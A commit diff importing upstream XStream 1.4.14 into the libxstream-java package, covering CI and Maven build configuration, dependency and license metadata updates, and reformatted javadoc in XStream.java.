Commit upstream/1.4.14 - libxstream-java

New upstream version 1.4.14 Markus Koschany 3 years ago

59 changed file(s) with 2281 addition(s) and 1240 deletion(s). Raw diff Collapse all Expand all

-1

.travis.settings.xml less more

1	1	<mirrors>
2	2	<mirror>
3	3	<id>central</id>
4		<url>http://repo1.maven.org/maven2</url>
	4	<url>https://repo1.maven.org/maven2</url>
5	5	<mirrorOf>*</mirrorOf>
6	6	</mirror>
7	7	</mirrors>

-13

.travis.yml less more

	0	dist: trusty
0	1	language: java
1	2	sudo: false
2		addons:
3		apt:
4		packages:
5		- openjdk-6-jdk
6	3	jdk:
	4	- openjdk12
7	5	- openjdk11
8	6	- openjdk10
9	7	- oraclejdk9
10		- oraclejdk8
	8	- openjdk8
11	9	- openjdk7
12		- openjdk6
13	10	install: true
14	11	script:
15		if [ "$TRAVIS_JDK_VERSION" == "openjdk6" ]; then
16		wget https://archive.apache.org/dist/maven/maven-3/3.2.5/binaries/apache-maven-3.2.5-bin.zip -P ./target;
17		unzip -qq ./target/apache-maven-3.2.5-bin.zip -d ./target;
18		export M2_HOME=$PWD/target/apache-maven-3.2.5;
19		export PATH=$M2_HOME/bin:$JAVA_HOME/bin:$PATH;
	12	if [ "$TRAVIS_JDK_VERSION" == "oraclejdk9" ]; then
20	13	export SETTINGS="-s .travis.settings.xml";
21	14	fi;
22		if [ "$TRAVIS_JDK_VERSION" == "oraclejdk8" ]; then
	15	if [ "$TRAVIS_JDK_VERSION" == "openjdk8" ]; then
23	16	mkdir -p xstream/profiles/coveralls;
24	17	mkdir -p xstream-hibernate/profiles/coveralls;
25		mvn -V -B -e clean package jacoco:report coveralls:report;
	18	mvn -V -B -e clean package jacoco:report coveralls:report $SETTINGS;
26	19	else
27	20	mvn -V -B -e clean package $SETTINGS;
28	21	fi

-0

BUILD.txt less more

4	4
5	5	To build:
6	6
	7	For Java 1.4: rm */profiles/osgi
7	8	mvn clean install
8	9
9	10	Before deploying:

-1

LICENSE.txt less more

0	0	(BSD Style License)
1	1
2	2	Copyright (c) 2003-2006, Joe Walnes
3		Copyright (c) 2006-2015, XStream Committers
	3	Copyright (c) 2006-2019, XStream Committers
4	4	All rights reserved.
5	5
6	6	Redistribution and use in source and binary forms, with or without

+182

-23

pom.xml less more

0	0	<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
1	1	<!--
2	2	Copyright (C) 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2015, 2016, 2017, 2018, 2019, 2020 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

13	13	<groupId>com.thoughtworks.xstream</groupId>
14	14	<artifactId>xstream-parent</artifactId>
15	15	<packaging>pom</packaging>
16		<version>1.4.11.1</version>
	16	<version>1.4.14</version>
17	17	<name>XStream Parent</name>
18	18	<url>http://x-stream.github.io</url>
19	19	<description>

36	36
37	37	<profiles>
38	38	<profile>
39		<id>jdk9-ge</id>
40		<activation>
41		<jdk>[9,</jdk>
	39	<id>jdk12-ge</id>
	40	<activation>
	41	<jdk>[12,)</jdk>
	42	</activation>
	43	<properties>
	44	<version.java.5>1.7</version.java.5>
	45	<version.java.6>1.7</version.java.6>
	46	<version.java.source>1.7</version.java.source>
	47	<version.java.target>1.7</version.java.target>
	48	</properties>
	49	</profile>
	50	<profile>
	51	<id>jdk9-ge-jdk12</id>
	52	<activation>
	53	<jdk>[9,12)</jdk>
42	54	</activation>
43	55	<properties>
44	56	<version.java.5>1.6</version.java.5>
45	57	<version.java.source>1.6</version.java.source>
46	58	<version.java.target>1.6</version.java.target>
	59	</properties>
	60	</profile>
	61	<profile>
	62	<id>jdk9-ge</id>
	63	<activation>
	64	<jdk>[9,)</jdk>
	65	</activation>
	66	<properties>
47	67	<version.plugin.maven.enforcer>3.0.0-M1</version.plugin.maven.enforcer>
48	68	</properties>
49	69	</profile>

83	103	<jdk>[1.6,)</jdk>
84	104	</activation>
85	105	<modules>
	106	<!--module>xstream-its</module--><!-- requires installed repo -->
86	107	<module>xstream-jmh</module>
87	108	<module>xstream-distribution</module>
88	109	</modules>

124	145	</activation>
125	146	<build>
126	147	<plugins>
	148	<plugin>
	149	<groupId>org.codehaus.mojo</groupId>
	150	<artifactId>build-helper-maven-plugin</artifactId>
	151	<executions>
	152	<execution>
	153	<id>include-license</id>
	154	<phase>generate-resources</phase>
	155	<goals>
	156	<goal>add-resource</goal>
	157	</goals>
	158	<configuration>
	159	<resources>
	160	<resource>
	161	<directory>${project.build.directory}/generated-resources</directory>
	162	</resource>
	163	</resources>
	164	</configuration>
	165	</execution>
	166	</executions>
	167	</plugin>
	168	<plugin>
	169	<groupId>org.apache.maven.plugins</groupId>
	170	<artifactId>maven-antrun-plugin</artifactId>
	171	<executions>
	172	<execution>
	173	<id>copy-license</id>
	174	<phase>generate-resources</phase>
	175	<goals>
	176	<goal>run</goal>
	177	</goals>
	178	<configuration>
	179	<target>
	180	<copy file="../LICENSE.txt" tofile="${project.build.directory}/generated-resources/META-INF/LICENSE" overwrite="false" failonerror="true" />
	181	</target>
	182	</configuration>
	183	</execution>
	184	</executions>
	185	</plugin>
127	186	<plugin>
128	187	<groupId>org.apache.maven.plugins</groupId>
129	188	<artifactId>maven-source-plugin</artifactId>

145	204	<version>${version.java.enforced}</version>
146	205	</requireJavaVersion>
147	206	</rules>
	207	</configuration>
	208	</execution>
	209	</executions>
	210	</plugin>
	211	</plugins>
	212	</build>
	213	</profile>
	214	<profile>
	215	<id>java-test</id>
	216	<activation>
	217	<file>
	218	<exists>src/test</exists>
	219	</file>
	220	</activation>
	221	<build>
	222	<plugins>
	223	<plugin>
	224	<groupId>org.apache.maven.plugins</groupId>
	225	<artifactId>maven-antrun-plugin</artifactId>
	226	<executions>
	227	<execution>
	228	<id>copy-license-for-test</id>
	229	<phase>generate-test-resources</phase>
	230	<goals>
	231	<goal>run</goal>
	232	</goals>
	233	<configuration>
	234	<target>
	235	<copy file="../LICENSE.txt" tofile="${project.build.directory}/test-classes/META-INF/LICENSE" overwrite="false" failonerror="true" />
	236	</target>
148	237	</configuration>
149	238	</execution>
150	239	</executions>

266	355
267	356	<licenses>
268	357	<license>
269		<name>BSD style</name>
	358	<name>BSD-3-Clause</name>
270	359	<url>http://x-stream.github.io/license.html</url>
271	360	<distribution>repo</distribution>
272	361	</license>

320	409	<dependency>
321	410	<groupId>com.thoughtworks.xstream</groupId>
322	411	<artifactId>xstream</artifactId>
323		<version>1.4.11.1</version>
	412	<version>1.4.14</version>
324	413	</dependency>
325	414	<dependency>
326	415	<groupId>com.thoughtworks.xstream</groupId>
327	416	<artifactId>xstream</artifactId>
328		<version>1.4.11.1</version>
	417	<version>1.4.14</version>
329	418	<classifier>tests</classifier>
330	419	<type>test-jar</type>
331	420	<scope>test</scope>

333	422	<dependency>
334	423	<groupId>com.thoughtworks.xstream</groupId>
335	424	<artifactId>xstream</artifactId>
336		<version>1.4.11.1</version>
	425	<version>1.4.14</version>
337	426	<classifier>javadoc</classifier>
338	427	<scope>provided</scope>
339	428	</dependency>
340	429	<dependency>
341	430	<groupId>com.thoughtworks.xstream</groupId>
342	431	<artifactId>xstream-hibernate</artifactId>
343		<version>1.4.11.1</version>
	432	<version>1.4.14</version>
344	433	</dependency>
345	434	<dependency>
346	435	<groupId>com.thoughtworks.xstream</groupId>
347	436	<artifactId>xstream-hibernate</artifactId>
348		<version>1.4.11.1</version>
	437	<version>1.4.14</version>
349	438	<classifier>javadoc</classifier>
350	439	<scope>provided</scope>
351	440	</dependency>
352	441	<dependency>
353	442	<groupId>com.thoughtworks.xstream</groupId>
354	443	<artifactId>xstream-jmh</artifactId>
355		<version>1.4.11.1</version>
	444	<version>1.4.14</version>
356	445	</dependency>
357	446	<dependency>
358	447	<groupId>com.thoughtworks.xstream</groupId>
359	448	<artifactId>xstream-jmh</artifactId>
360		<version>1.4.11.1</version>
	449	<version>1.4.14</version>
361	450	<classifier>javadoc</classifier>
362	451	<scope>provided</scope>
363	452	</dependency>
364	453	<dependency>
365	454	<groupId>com.thoughtworks.xstream</groupId>
366	455	<artifactId>xstream-benchmark</artifactId>
367		<version>1.4.11.1</version>
	456	<version>1.4.14</version>
368	457	</dependency>
369	458	<dependency>
370	459	<groupId>com.thoughtworks.xstream</groupId>
371	460	<artifactId>xstream-benchmark</artifactId>
372		<version>1.4.11.1</version>
	461	<version>1.4.14</version>
373	462	<classifier>javadoc</classifier>
374	463	<scope>provided</scope>
375	464	</dependency>

507	596	</dependency>
508	597
509	598	<dependency>
510		<groupId>oro</groupId>
511		<artifactId>oro</artifactId>
512		<version>${version.oro}</version>
513		</dependency>
514
515		<dependency>
516	599	<groupId>org.json</groupId>
517	600	<artifactId>json</artifactId>
518	601	<version>${version.org.json}</version>

622	705	<scope>test</scope>
623	706	</dependency>
624	707
	708	<!-- Pax Exam Dependencies -->
	709	<dependency>
	710	<groupId>org.apache.felix</groupId>
	711	<artifactId>org.apache.felix.framework</artifactId>
	712	<version>${version.org.apache.felix}</version>
	713	<scope>test</scope>
	714	</dependency>
	715	<dependency>
	716	<groupId>org.glassfish.hk2.external</groupId>
	717	<artifactId>javax.inject</artifactId>
	718	<version>${version.javax.inject}</version>
	719	<scope>provided</scope>
	720	</dependency>
	721	<dependency>
	722	<groupId>org.ops4j.pax.exam</groupId>
	723	<artifactId>pax-exam-container-native</artifactId>
	724	<version>${version.org.ops4j.pax.exam}</version>
	725	<scope>test</scope>
	726	</dependency>
	727	<dependency>
	728	<groupId>org.ops4j.pax.exam</groupId>
	729	<artifactId>pax-exam-extender-service</artifactId>
	730	<version>${version.org.ops4j.pax.exam}</version>
	731	<scope>test</scope>
	732	</dependency>
	733	<dependency>
	734	<groupId>org.ops4j.pax.exam</groupId>
	735	<artifactId>pax-exam-inject</artifactId>
	736	<version>${version.org.ops4j.pax.exam}</version>
	737	<scope>test</scope>
	738	</dependency>
	739	<dependency>
	740	<groupId>org.ops4j.pax.exam</groupId>
	741	<artifactId>pax-exam-invoker-junit</artifactId>
	742	<version>${version.org.ops4j.pax.exam}</version>
	743	<scope>test</scope>
	744	</dependency>
	745	<dependency>
	746	<groupId>org.ops4j.pax.exam</groupId>
	747	<artifactId>pax-exam-junit4</artifactId>
	748	<version>${version.org.ops4j.pax.exam}</version>
	749	<scope>test</scope>
	750	</dependency>
	751	<dependency>
	752	<groupId>org.ops4j.pax.exam</groupId>
	753	<artifactId>pax-exam-link-assembly</artifactId>
	754	<version>${version.org.ops4j.pax.exam}</version>
	755	<scope>test</scope>
	756	</dependency>
	757	<dependency>
	758	<groupId>org.ops4j.pax.exam</groupId>
	759	<artifactId>pax-exam-link-mvn</artifactId><!-- Preferred link because it does not require an mvn url handler implicitely. -->
	760	<version>${version.org.ops4j.pax.exam}</version>
	761	<scope>test</scope>
	762	</dependency>
625	763	</dependencies>
626	764	</dependencyManagement>
627	765

698	836	</plugin>
699	837	<plugin>
700	838	<groupId>org.apache.maven.plugins</groupId>
	839	<artifactId>maven-failsafe-plugin</artifactId>
	840	<version>${version.plugin.maven.failsafe}</version>
	841	</plugin>
	842	<plugin>
	843	<groupId>org.apache.maven.plugins</groupId>
701	844	<artifactId>maven-gpg-plugin</artifactId>
702	845	<version>${version.plugin.maven.gpg}</version>
703	846	</plugin>

718	861	</manifest>
719	862	<manifestEntries>
720	863	<Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version>
	864	<Bundle-License>BSD-3-Clause</Bundle-License>
721	865	<X-Compile-Source>${version.java.source}</X-Compile-Source>
722	866	<X-Compile-Target>${version.java.target}</X-Compile-Target>
723	867	<X-Builder>Maven ${maven.version}</X-Builder>

753	897	</manifest>
754	898	<manifestEntries>
755	899	<Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version>
	900	<Bundle-License>BSD-3-Clause</Bundle-License>
756	901	</manifestEntries>
757	902	</archive>
758	903	</configuration>

810	955	<Bundle-SymbolicName>${project.artifactId}.sources</Bundle-SymbolicName>
811	956	<Bundle-Vendor>${project.organization.name} Sources</Bundle-Vendor>
812	957	<Bundle-Version>${project.info.osgiVersion} Sources</Bundle-Version>
	958	<Bundle-License>BSD-3-Clause</Bundle-License>
813	959	<Eclipse-SourceBundle>${project.artifactId};version=${project.info.osgiVersion}</Eclipse-SourceBundle>
814	960	<X-Compile-Source>${version.java.source}</X-Compile-Source>
815	961	<X-Compile-Target>${version.java.target}</X-Compile-Target>

858	1004	<groupId>org.codehaus.xsite</groupId>
859	1005	<artifactId>xsite-maven-plugin</artifactId>
860	1006	<version>${version.plugin.codehaus.xsite}</version>
	1007	<dependencies>
	1008	<dependency>
	1009	<groupId>com.thoughtworks.xstream</groupId>
	1010	<artifactId>xstream</artifactId>
	1011	<version>1.4.11.1</version>
	1012	</dependency>
	1013	</dependencies>
861	1014	</plugin>
862	1015	<plugin>
863	1016	<groupId>org.apache.felix</groupId>

866	1019	<configuration>
867	1020	<manifestLocation>${project.build.directory}/OSGi</manifestLocation>
868	1021	<instructions>
	1022	<_noee>true</_noee>
869	1023	<_nouses>true</_nouses>
870	1024	<Bundle-SymbolicName>${project.artifactId}</Bundle-SymbolicName>
	1025	<Bundle-License>BSD-3-Clause</Bundle-License>
871	1026	<Specification-Version>${project.info.majorVersion}.${project.info.minorVersion}</Specification-Version><!-- FELIX-3392 -->
872	1027	</instructions>
873	1028	<archive>

943	1098	<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
944	1099
945	1100	<version.java.5>1.5</version.java.5>
	1101	<version.java.6>1.6</version.java.6>
946	1102	<version.java.source>1.5</version.java.source>
947	1103	<version.java.target>1.5</version.java.target>
948	1104	<version.java.enforced>[1.4,)</version.java.enforced>
949	1105
950		<version.plugin.codehaus.xsite>1.2.1</version.plugin.codehaus.xsite>
	1106	<version.plugin.codehaus.xsite>1.3</version.plugin.codehaus.xsite>
951	1107	<version.plugin.felix.bundle>2.3.7</version.plugin.felix.bundle>
952	1108	<version.plugin.maven.antrun>1.1</version.plugin.maven.antrun>
953	1109	<version.plugin.maven.assembly>2.1</version.plugin.maven.assembly>

956	1112	<version.plugin.maven.dependency>2.1</version.plugin.maven.dependency>
957	1113	<version.plugin.maven.deploy>2.3</version.plugin.maven.deploy>
958	1114	<version.plugin.maven.enforcer>1.4</version.plugin.maven.enforcer>
	1115	<version.plugin.maven.failsafe>2.22.0</version.plugin.maven.failsafe>
959	1116	<version.plugin.maven.gpg>1.4</version.plugin.maven.gpg>
960	1117	<version.plugin.maven.install>2.2</version.plugin.maven.install>
961	1118	<version.plugin.maven.jar>2.2</version.plugin.maven.jar>

982	1139	<version.javaassist>3.12.1.GA</version.javaassist>
983	1140	<version.javax.activation>1.1.1</version.javax.activation>
984	1141	<version.javax.annotation.api>1.3.2</version.javax.annotation.api>
	1142	<version.javax.inject>2.4.0</version.javax.inject>
985	1143	<version.javax.xml.bind.api>2.3.1</version.javax.xml.bind.api>
986	1144	<version.jmock>1.0.1</version.jmock>
987	1145	<version.joda-time>1.6</version.joda-time>
988	1146	<version.junit>3.8.1</version.junit>
989	1147	<version.net.sf.kxml.kxml2>2.3.0</version.net.sf.kxml.kxml2>
	1148	<version.org.apache.felix>4.4.1</version.org.apache.felix>
990	1149	<version.org.codehaus.jettison>1.2</version.org.codehaus.jettison>
991	1150	<version.org.codehaus.woodstox.asl>3.2.7</version.org.codehaus.woodstox.asl>
992	1151	<version.org.hibernate.core>4.2.5.Final</version.org.hibernate.core>

995	1154	<version.org.jdom2>2.0.5</version.org.jdom2>
996	1155	<version.org.json>20080701</version.org.json>
997	1156	<version.org.openjdk.jmh>1.21</version.org.openjdk.jmh>
	1157	<version.org.ops4j.pax.exam>3.5.0</version.org.ops4j.pax.exam><!-- java 6 -->
998	1158	<version.org.slf4j>1.6.1</version.org.slf4j>
999		<version.oro>2.0.8</version.oro>
1000	1159	<version.stax>1.2.0</version.stax>
1001	1160	<version.stax.api>1.0.1</version.stax.api>
1002	1161	<version.xerces.impl>2.8.1</version.xerces.impl>

+15

-10

xstream/pom.xml less more

0	0	<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
1	1	<!--
2	2	Copyright (C) 2006 Joe Walnes.
3		Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream committers.
	3	Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2019 XStream committers.
4	4	All rights reserved.
5	5
6	6	The software in this package is published under the terms of the BSD

13	13	<parent>
14	14	<groupId>com.thoughtworks.xstream</groupId>
15	15	<artifactId>xstream-parent</artifactId>
16		<version>1.4.11.1</version>
	16	<version>1.4.14</version>
17	17	</parent>
18	18	<artifactId>xstream</artifactId>
19	19	<packaging>jar</packaging>

134	134	<dependency>
135	135	<groupId>com.megginson.sax</groupId>
136	136	<artifactId>xml-writer</artifactId>
137		<scope>test</scope>
138		</dependency>
139
140		<dependency>
141		<groupId>oro</groupId>
142		<artifactId>oro</artifactId>
143	137	<scope>test</scope>
144	138	</dependency>
145	139

197	191	<configuration>
198	192	<includes>
199	193	<include>*/AbstractAcceptanceTest.</include>
	194	<include>META-INF/LICENSE</include>
200	195	</includes>
201	196	<archive combine.children="append">
202	197	<manifestEntries>
203	198	<Specification-Title>${project.name} Test</Specification-Title>
204	199	<Implementation-Title>${project.name} Test</Implementation-Title>
	200	<Bundle-License>BSD-3-Clause</Bundle-License>
205	201	</manifestEntries>
206	202	</archive>
207	203	</configuration>

310	306	<source>1.8</source>
311	307	<target>1.8</target>
312	308	<excludes combine.self="override" />
313		<textExcludes combine.self="override" />
	309	<testExcludes combine.self="override" />
314	310	</configuration>
315	311	<goals>
316	312	<goal>compile</goal>

592	588
593	589	<properties>
594	590	<bundle.export.package>!com.thoughtworks.xstream.core.util,com.thoughtworks.xstream.*;-noimport:=true</bundle.export.package>
595		<bundle.import.package>org.xmlpull.mxp1;resolution:=optional,org.xmlpull.v1;resolution:=optional,*</bundle.import.package>
	591	<bundle.import.package>
	592	org.xmlpull.mxp1;resolution:=optional,
	593	org.xmlpull.v1;resolution:=optional,
	594	com.ibm.*;resolution:=optional,
	595	com.sun.*;resolution:=optional,
	596	javax.*;resolution:=optional,
	597	org.xml.*;resolution:=optional,
	598	sun.*;resolution:=optional,
	599	*
	600	</bundle.import.package>
596	601	</properties>
597	602
598	603	</project>

+334

-483

xstream/src/java/com/thoughtworks/xstream/XStream.java less more

0	0	/*
1	1	* Copyright (C) 2003, 2004, 2005, 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016, 2017, 2018, 2020 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

35	35	import java.nio.charset.Charset;
36	36	import java.text.DecimalFormatSymbols;
37	37	import java.util.ArrayList;
	38	import java.util.Arrays;
38	39	import java.util.BitSet;
39	40	import java.util.Calendar;
40	41	import java.util.Collection;

64	65	import com.thoughtworks.xstream.converters.ConverterLookup;
65	66	import com.thoughtworks.xstream.converters.ConverterRegistry;
66	67	import com.thoughtworks.xstream.converters.DataHolder;
67		import com.thoughtworks.xstream.converters.MarshallingContext;
68	68	import com.thoughtworks.xstream.converters.SingleValueConverter;
69	69	import com.thoughtworks.xstream.converters.SingleValueConverterWrapper;
70		import com.thoughtworks.xstream.converters.UnmarshallingContext;
71	70	import com.thoughtworks.xstream.converters.basic.BigDecimalConverter;
72	71	import com.thoughtworks.xstream.converters.basic.BigIntegerConverter;
73	72	import com.thoughtworks.xstream.converters.basic.BooleanConverter;

178	177	*
179	178	* </blockquote>
180	179	* <hr>
181		*
182	180	* <h3>Aliasing classes</h3>
183		*
184	181	* <p>
185		* To create shorter XML, you can specify aliases for classes using the <code>alias()</code>
186		* method. For example, you can shorten all occurrences of element
187		* <code><com.blah.MyThing></code> to <code><my-thing></code> by registering an
188		* alias for the class.
	182	* To create shorter XML, you can specify aliases for classes using the <code>alias()</code> method. For example, you
	183	* can shorten all occurrences of element <code><com.blah.MyThing></code> to <code><my-thing></code> by
	184	* registering an alias for the class.
189	185	* <p>
190	186	* <hr>
191	187	* <blockquote>

196	192	*
197	193	* </blockquote>
198	194	* <hr>
199		*
200	195	* <h3>Converters</h3>
201		*
202	196	* <p>
203		* XStream contains a map of {@link com.thoughtworks.xstream.converters.Converter} instances, each
204		* of which acts as a strategy for converting a particular type of class to XML and back again. Out
205		* of the box, XStream contains converters for most basic types (String, Date, int, boolean, etc)
206		* and collections (Map, List, Set, Properties, etc). For other objects reflection is used to
207		* serialize each field recursively.
	197	* XStream contains a map of {@link com.thoughtworks.xstream.converters.Converter} instances, each of which acts as a
	198	* strategy for converting a particular type of class to XML and back again. Out of the box, XStream contains converters
	199	* for most basic types (String, Date, int, boolean, etc) and collections (Map, List, Set, Properties, etc). For other
	200	* objects reflection is used to serialize each field recursively.
208	201	* </p>
209		*
210	202	* <p>
211		* Extra converters can be registered using the <code>registerConverter()</code> method. Some
212		* non-standard converters are supplied in the {@link com.thoughtworks.xstream.converters.extended}
213		* package and you can create your own by implementing the
214		* {@link com.thoughtworks.xstream.converters.Converter} interface.
	203	* Extra converters can be registered using the <code>registerConverter()</code> method. Some non-standard converters
	204	* are supplied in the {@link com.thoughtworks.xstream.converters.extended} package and you can create your own by
	205	* implementing the {@link com.thoughtworks.xstream.converters.Converter} interface.
215	206	* </p>
216		*
217	207	* <p>
218	208	* <hr>
219	209	* <b>Example</b><blockquote>

226	216	* </blockquote>
227	217	* <hr>
228	218	* <p>
229		* The converters can be registered with an explicit priority. By default they are registered with
230		* XStream.PRIORITY_NORMAL. Converters of same priority will be used in the reverse sequence
231		* they have been registered. The default converter, i.e. the converter which will be used if
232		* no other registered converter is suitable, can be registered with priority
233		* XStream.PRIORITY_VERY_LOW. XStream uses by default the
234		* {@link com.thoughtworks.xstream.converters.reflection.ReflectionConverter} as the fallback
235		* converter.
	219	* The converters can be registered with an explicit priority. By default they are registered with
	220	* XStream.PRIORITY_NORMAL. Converters of same priority will be used in the reverse sequence they have been registered.
	221	* The default converter, i.e. the converter which will be used if no other registered converter is suitable, can be
	222	* registered with priority XStream.PRIORITY_VERY_LOW. XStream uses by default the
	223	* {@link com.thoughtworks.xstream.converters.reflection.ReflectionConverter} as the fallback converter.
236	224	* </p>
237		*
238	225	* <p>
239	226	* <hr>
240	227	* <b>Example</b><blockquote>

245	232	*
246	233	* </blockquote>
247	234	* <hr>
248		*
249	235	* <h3>Object graphs</h3>
250		*
251	236	* <p>
252		* XStream has support for object graphs; a deserialized object graph will keep references intact,
253		* including circular references.
	237	* XStream has support for object graphs; a deserialized object graph will keep references intact, including circular
	238	* references.
254	239	* </p>
255		*
256	240	* <p>
257	241	* XStream can signify references in XML using either relative/absolute XPath or IDs. The mode can be changed using
258	242	* <code>setMode()</code>:
259	243	* </p>
260		*
261	244	* <table border='1'>
262	245	* <caption></caption>
263	246	* <tr>
264	247	* <td><code>xstream.setMode(XStream.XPATH_RELATIVE_REFERENCES);</code></td>
265		* <td><i>(Default)</i> Uses XPath relative references to signify duplicate references. This produces XML
266		* with the least clutter.</td>
	248	* <td><i>(Default)</i> Uses XPath relative references to signify duplicate references. This produces XML with the least
	249	* clutter.</td>
267	250	* </tr>
268	251	* <tr>
269	252	* <td><code>xstream.setMode(XStream.XPATH_ABSOLUTE_REFERENCES);</code></td>
270		* <td>Uses XPath absolute references to signify duplicate
271		* references. This produces XML with the least clutter.</td>
	253	* <td>Uses XPath absolute references to signify duplicate references. This produces XML with the least clutter.</td>
272	254	* </tr>
273	255	* <tr>
274	256	* <td><code>xstream.setMode(XStream.SINGLE_NODE_XPATH_RELATIVE_REFERENCES);</code></td>
275		* <td>Uses XPath relative references to signify duplicate references. The XPath expression ensures that
276		* a single node only is selected always.</td>
	257	* <td>Uses XPath relative references to signify duplicate references. The XPath expression ensures that a single node
	258	* only is selected always.</td>
277	259	* </tr>
278	260	* <tr>
279	261	* <td><code>xstream.setMode(XStream.SINGLE_NODE_XPATH_ABSOLUTE_REFERENCES);</code></td>
280		* <td>Uses XPath absolute references to signify duplicate references. The XPath expression ensures that
281		* a single node only is selected always.</td>
	262	* <td>Uses XPath absolute references to signify duplicate references. The XPath expression ensures that a single node
	263	* only is selected always.</td>
282	264	* </tr>
283	265	* <tr>
284	266	* <td><code>xstream.setMode(XStream.ID_REFERENCES);</code></td>
285		* <td>Uses ID references to signify duplicate references. In some scenarios, such as when using
286		* hand-written XML, this is easier to work with.</td>
	267	* <td>Uses ID references to signify duplicate references. In some scenarios, such as when using hand-written XML, this
	268	* is easier to work with.</td>
287	269	* </tr>
288	270	* <tr>
289	271	* <td><code>xstream.setMode(XStream.NO_REFERENCES);</code></td>
290		* <td>This disables object graph support and treats the object structure like a tree. Duplicate
291		* references are treated as two separate objects and circular references cause an exception. This
292		* is slightly faster and uses less memory than the other two modes.</td>
	272	* <td>This disables object graph support and treats the object structure like a tree. Duplicate references are treated
	273	* as two separate objects and circular references cause an exception. This is slightly faster and uses less memory than
	274	* the other two modes.</td>
293	275	* </tr>
294	276	* </table>
295	277	* <h3>Thread safety</h3>
296	278	* <p>
297		* The XStream instance is thread-safe. That is, once the XStream instance has been created and
298		* configured, it may be shared across multiple threads allowing objects to be
299		* serialized/deserialized concurrently. <em>Note, that this only applies if annotations are not
300		* auto-detected on-the-fly.</em>
	279	* The XStream instance is thread-safe. That is, once the XStream instance has been created and configured, it may be
	280	* shared across multiple threads allowing objects to be serialized/deserialized concurrently. <em>Note, that this only
	281	* applies if annotations are not auto-detected on-the-fly.</em>
301	282	* </p>
302	283	* <h3>Implicit collections</h3>
303		*
304	284	* <p>
305		* To avoid the need for special tags for collections, you can define implicit collections using one
306		* of the <code>addImplicitCollection</code> methods.
	285	* To avoid the need for special tags for collections, you can define implicit collections using one of the
	286	* <code>addImplicitCollection</code> methods.
307	287	* </p>
308	288	*
309	289	* @author Joe Walnes

354	334
355	335	private static final String ANNOTATION_MAPPER_TYPE = "com.thoughtworks.xstream.mapper.AnnotationMapper";
356	336	private static final Pattern IGNORE_ALL = Pattern.compile(".*");
	337	private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator");
	338	private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*");
357	339
358	340	/**
359	341	* Constructs a default XStream.
360	342	* <p>
361		* The instance will use the {@link XppDriver} as default and tries to determine the best
362		* match for the {@link ReflectionProvider} on its own.
	343	* The instance will use the {@link XppDriver} as default and tries to determine the best match for the
	344	* {@link ReflectionProvider} on its own.
363	345	* </p>
364	346	*
365	347	* @throws InitializationException in case of an initialization problem

374	356	* The instance will use the {@link XppDriver} as default.
375	357	* </p>
376	358	*
377		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
378		* matching reflection provider
	359	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching reflection provider
379	360	* @throws InitializationException in case of an initialization problem
380	361	*/
381	362	public XStream(ReflectionProvider reflectionProvider) {

385	366	/**
386	367	* Constructs an XStream with a special {@link HierarchicalStreamDriver}.
387	368	* <p>
388		* The instance will tries to determine the best match for the {@link ReflectionProvider} on
389		* its own.
	369	* The instance will tries to determine the best match for the {@link ReflectionProvider} on its own.
390	370	* </p>
391	371	*
392	372	* @param hierarchicalStreamDriver the driver instance

397	377	}
398	378
399	379	/**
400		* Constructs an XStream with a special {@link HierarchicalStreamDriver} and
401		* {@link ReflectionProvider}.
402		*
403		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
404		* matching Provider
	380	* Constructs an XStream with a special {@link HierarchicalStreamDriver} and {@link ReflectionProvider}.
	381	*
	382	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
405	383	* @param hierarchicalStreamDriver the driver instance
406	384	* @throws InitializationException in case of an initialization problem
407	385	*/
408		public XStream(
409		ReflectionProvider reflectionProvider, HierarchicalStreamDriver hierarchicalStreamDriver) {
	386	public XStream(ReflectionProvider reflectionProvider, HierarchicalStreamDriver hierarchicalStreamDriver) {
410	387	this(reflectionProvider, (Mapper)null, hierarchicalStreamDriver);
411	388	}
412	389
413	390	/**
414		* Constructs an XStream with a special {@link HierarchicalStreamDriver},
415		* {@link ReflectionProvider} and a prepared {@link Mapper} chain.
416		*
417		* @param reflectionProvider the reflection provider to use or <em>null</em> for best
418		* matching Provider
419		* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
420		* chain
	391	* Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider} and a prepared
	392	* {@link Mapper} chain.
	393	*
	394	* @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
	395	* @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
421	396	* @param driver the driver instance
422	397	* @throws InitializationException in case of an initialization problem
423		* @deprecated As of 1.3, use
424		* {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoader, Mapper)}
	398	* @deprecated As of 1.3, use {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoader, Mapper)}
